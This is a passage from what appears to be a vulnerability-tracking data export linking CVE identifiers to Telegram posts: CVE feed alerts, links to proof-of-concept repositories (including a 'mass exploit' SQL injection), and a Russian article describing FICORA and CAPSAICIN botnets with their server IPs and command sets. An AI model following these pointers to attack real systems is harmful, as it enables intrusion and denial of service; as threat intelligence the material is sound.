\u0648\u0627\u0644\u062a\u0623\u0643\u062f \u0645\u0646 \u062a\u0637\u0628\u064a\u0642 \u062c\u0645\u064a\u0639 \u0627\u0644\u062a\u0635\u062d\u064a\u062d\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0645\u062a\u0627\u062d\u0629. \u0643\u0645\u0627 \u064a\u062c\u0628 \u062f\u0627\u0626\u0645\u064b\u0627 \u0627\u0644\u062d\u0631\u0635 \u0639\u0644\u0649 \u0645\u0631\u0627\u0642\u0628\u0629 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0648\u0627\u0644\u0646\u0634\u0627\u0637\u0627\u062a \u063a\u064a\u0631 \u0627\u0644\u0627\u0639\u062a\u064a\u0627\u062f\u064a\u0629.\n\n### \u0627\u0644\u0645\u0635\u0627\u062f\u0631\n\n- [mmiszczyk/CVE-2024-33352 \u0639\u0644\u0649 GitHub](https://github.com/mmiszczyk/CVE-2024-33352)\n- [\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645 \u0639\u0644\u0649 GitHub](https://github.com/mmiszczyk/CVE-2024-33352/blob/main/exploit.sh)\n\nALSED404:\n\u0627\u062d\u0630\u0631 \u0645\u0646 \u062d\u0632\u0645\u0629 PyPI \"lr-utils-lib\"\u060c \u0641\u0647\u064a \u062a\u0645\u062b\u0644 \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627 \u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a macOS!\n\n\u062a\u0633\u0631\u0642 \u0647\u0630\u0647 \u0627\u0644\u062d\u0632\u0645\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f Google Cloud\u060c \u0645\u0645\u0627 \u064a\u0634\u0643\u0644 \u062e\u0637\u0631\u064b\u0627 \u0643\u0628\u064a\u0631\u064b\u0627 \u0639\u0644\u0649 \u0643\u0644 \u0645\u0646 \u0627\u0644\u0645\u0637\u0648\u0631\u064a\u0646 \u0627\u0644\u0623\u0641\u0631\u0627\u062f \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a.\n\n\u0627\u0642\u0631\u0623 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644: https://thehackernews.com/2024/07/malicious-pypi-package-targets-macos-to.html\n\nSQL\ud83d\udc7d:\n\u0625\u0644\u064a\u0643 \u0628\u0639\u0636 \u0627\u0644\u0643\u0648\u0631\u0633\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0631\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0648\u0625\u0635\u0644\u0627\u062d\u0647\u0627\u060c \u0645\u0639 \u0628\u0639\u0636 \u0627\u0644\u0645\u0635\u0627\u062f\u0631 \u0627\u0644\u0645\u0647\u0645\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644:\n\n### \u062f\u0648\u0631\u0627\u062a \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629:\n\n1. \u062f\u0648\u0631\u0629 \u0627\u0644\u0642\u0631\u0635\u0646\u0629 \u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a\u0629 \u0648\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629:\n   - \u0645\u0646\u0635\u0629: \u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0627\u0644\u0632\u064a\u0631\u0648\n   - \u062a\u063a\u0637\u064a \u0627\u0644\u062f\u0648\u0631\u0629 \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0623\u0645\u0627\u0646 \u0641\u064a \u0627\u0644\u0623\u0646\u0638\u0645\u0629.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.elzero.org/courses/ethical-hacking/)", "creation_timestamp": "2024-12-13T19:00:22.000000Z"}, {"uuid": "4a5d7309-d4ac-4b36-b407-9c1342fd5def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33501", "type": "seen", "source": "https://t.me/cvedetector/20101", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33501 - Fortinet FortiAnalyzer/FortiManager/FortiAnalyzer-BigData SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33501 \nPublished : March 11, 2025, 3:15 p.m. | 1\u00a0hour ago \nDescription : Two improper neutralization of special elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] in Fortinet FortiAnalyzer version 7.4.0 through 7.4.2 and before 7.2.5, FortiManager version 7.4.0 through 7.4.2 and before 7.2.5 and FortiAnalyzer-BigData version 7.4.0 and before 7.2.7 allows a privileged attacker\u00a0to execute unauthorized code or commands via specifically crafted CLI requests. \nSeverity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T17:37:51.000000Z"}, {"uuid": "9134da2d-0728-4572-adf0-21ed8ae1e230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33544", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8010", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploit - CVE-2024-33544 < Unauthenticated < SQL Injection\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-33544-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-17T22:26:09.000000Z"}, {"uuid": "0765e052-eb49-41b9-8a16-5cfb90e05949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3307", "type": "seen", "source": "https://t.me/cvedetector/19872", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1261 - \"HT Mega \u2013 Absolute Addons For Elementor DOM-Based Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2025-1261 \nPublished : March 8, 2025, 2:15 a.m. | 1\u00a0hour, 13\u00a0minutes ago \nDescription : The HT Mega \u2013 Absolute Addons For Elementor plugin for WordPress is vulnerable to DOM-Based Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 2.8.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability exists due to an incomplete fix for CVE-2024-3307. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T05:09:24.000000Z"}, {"uuid": "a7e95c33-576a-4a1d-b879-c4c4971ed446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33895", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/201", "content": "#exploit\n1. CVE-2024-3183:\nKerberos FreeIPA Rosting - Use of Psw Hash With Insufficient Computational Effort\nhttps://github.com/Cyxow/CVE-2024-3183-POC\n\n2. CVE-2024-33895:\nUse of Hard-coded Cryptographic Key in Ewon Cosy+ VPN Gateway\nhttps://seclists.org/fulldisclosure/2024/Aug/22", "creation_timestamp": "2024-08-21T19:42:27.000000Z"}, {"uuid": "3b747a88-7204-4f78-bc22-54ecc2fc451a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33209", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8624", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aActivation cache poisoning to elevate from medium to high integrity (CVE-2024-6769)\nURL\uff1ahttps://github.com/paragbagul111/CVE-2024-33209\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-10T13:45:23.000000Z"}, {"uuid": "6142a732-08db-4d01-a7c3-9315eec6d7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33469", "type": "seen", "source": "https://t.me/cvedetector/17781", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33469 - Amaze File Manager Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33469 \nPublished : Feb. 11, 2025, 11:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : An issue in Team Amaze Amaze File Manager v.3.8.5 and fixed in v.3.10 allows a local attacker to execute arbitrary code via the onCreate method of DatabaseViewerActivity.java. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:47:32.000000Z"}, {"uuid": "ab4dc072-c27b-442e-9211-430ccab0fa2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33333", "type": "seen", "source": "https://t.me/GithubRedTeam/6468", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-20656\nURL\uff1ahttps://github.com/xiaoqiao147/CVE-2024-33333\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-22T09:57:07.000000Z"}, {"uuid": "0b00d794-f322-45dc-b7cf-3d1c96b79c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33504", "type": "seen", "source": "https://t.me/cvedetector/17727", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33504 - FortiManager Hard-Coded Cryptographic Key Encryption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33504 \nPublished : Feb. 11, 2025, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A use of hard-coded cryptographic key to encrypt sensitive data vulnerability [CWE-321] in FortiManager 7.6.0 through 7.6.1, 7.4.0 through 7.4.5, 7.2.0 through 7.2.9, 7.0 all versions, 6.4 all versions may allow an attacker with JSON API access permissions to decrypt some secrets even if the 'private-data-encryption' setting is enabled. \nSeverity: 4.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T19:53:00.000000Z"}, {"uuid": "924fdebc-15ed-430a-8b4d-0074a948f527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33659", "type": "seen", "source": "https://t.me/cvedetector/17708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33659 - AMI APTIOV BIOS Improper Input Validation SMM Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-33659 \nPublished : Feb. 11, 2025, 3:15 p.m. | 57\u00a0minutes ago \nDescription : AMI APTIOV contains a vulnerability in BIOS where an attacker may cause an Improper Input Validation by a local attacker. Successful exploitation of these vulnerabilities may lead to overwriting arbitrary memory and execute arbitrary code at SMM level, also impacting Confidentiality, Integrity, and Availability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T17:22:08.000000Z"}, {"uuid": "28e636ce-9ab9-4099-bc7c-6e3f1a49d026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33533", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/10031", "content": "\u200aCVE-2024-33533 to 33536: Zimbra Users at Risk of XSS and LFI Attacks\n\nhttps://securityonline.info/cve-2024-33533-to-33536-zimbra-users-at-risk-of-xss-and-lfi-attacks/", "creation_timestamp": "2024-08-16T10:20:55.000000Z"}, {"uuid": "8303869f-484e-4aca-9bdf-0ddc91d34be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/91", "content": "\u200aLinksys Router Flaws Exposed, Poc Published, Patch Unavailable!\n\nhttps://securityonline.info/cve-2024-33788-cve-2024-33789-linksys-e5600-router/", "creation_timestamp": "2024-05-06T13:34:11.000000Z"}, {"uuid": "83d17a99-c7bf-4ab8-b941-134282d9dbed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/91", "content": "\u200aLinksys Router Flaws Exposed, Poc Published, Patch Unavailable!\n\nhttps://securityonline.info/cve-2024-33788-cve-2024-33789-linksys-e5600-router/", "creation_timestamp": "2024-05-06T13:34:11.000000Z"}, {"uuid": "b86025a2-d94c-4027-821b-b912c5bf454a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "exploited", "source": "https://t.me/itsec_news/5064", "content": "\u200b\u26a1\ufe0f\u0411\u043e\u0442\u043d\u0435\u0442\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442: CAPSAICIN \u0438 FICORA \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 D-Link\n\n\ud83d\udcac\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0440\u0435\u0437\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 D-Link. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438 \u0441\u0442\u0430\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Mirai \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c FICORA \u0438 Kaiten (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043a\u0430\u043a Tsunami), \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u0438\u043c\u044f CAPSAICIN.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Fortinet FortiGuard Labs , \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 D-Link. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e GetDeviceSettings \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 HNAP (Home Network Administration Protocol), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u042d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0442\u0430\u043a\u0438\u0445 CVE, \u043a\u0430\u043a CVE-2015-2051 , CVE-2019-10891 , CVE-2022-37056 \u0438 CVE-2024-33112 .\n\n\u0411\u043e\u0442\u043d\u0435\u0442 FICORA, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 Fortinet, \u043e\u0445\u0432\u0430\u0442\u0438\u043b \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u0441\u0442\u0440\u0430\u043d, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a CAPSAICIN \u0441\u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0438\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u042f\u043f\u043e\u043d\u0438\u044e \u0438 \u0422\u0430\u0439\u0432\u0430\u043d\u044c. \u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c CAPSAICIN \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c 21\u201322 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432\nFICORA \u0437\u0430\u0440\u0430\u0436\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u00abmulti\u00bb, \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (103.149.87[.]69). \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\u0445 Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b wget, ftpget, curl \u0438 tftp. \u0411\u043e\u0442\u043d\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f DDoS-\u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b UDP, TCP \u0438 DNS.\n\nCAPSAICIN, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u00abbins.sh\u00bb \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u0430 87.10.220[.]221. \u0415\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u0441\u0445\u043e\u0436: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440 Linux \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0445\u0432\u0430\u0442\u0430. \u042d\u0442\u043e\u0442 \u0431\u043e\u0442\u043d\u0435\u0442 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0447\u0442\u043e\u0431\u044b \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u041f\u041e \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f CAPSAICIN \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (192.110.247[.]46), \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u043d\u043e\u0435 \u0435\u0439 \u0438\u043c\u044f. \u0417\u0430\u0442\u0435\u043c \u0431\u043e\u0442\u043d\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434, \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 DDoS-\u0430\u0442\u0430\u043a.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b CAPSAICIN\nGETIP: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430;\nCLEARHISTORY: \u043e\u0447\u0438\u0441\u0442\u043a\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434;\nINSTALL: \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u0430;\nDNS: \u0443\u0441\u0438\u043b\u0435\u043d\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 DNS;\nHTTP: HTTP-\u0444\u043b\u0443\u0434;\nKILL: \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0438.\nCAPSAICIN \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 BlackNurse \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c TCP-\u0444\u043b\u0443\u0434\u0438\u043d\u0433.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0431\u043e\u0442\u043d\u0435\u0442\u0430\u043c\u0438, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e \u0432\u0441\u0435\u043c\u0443 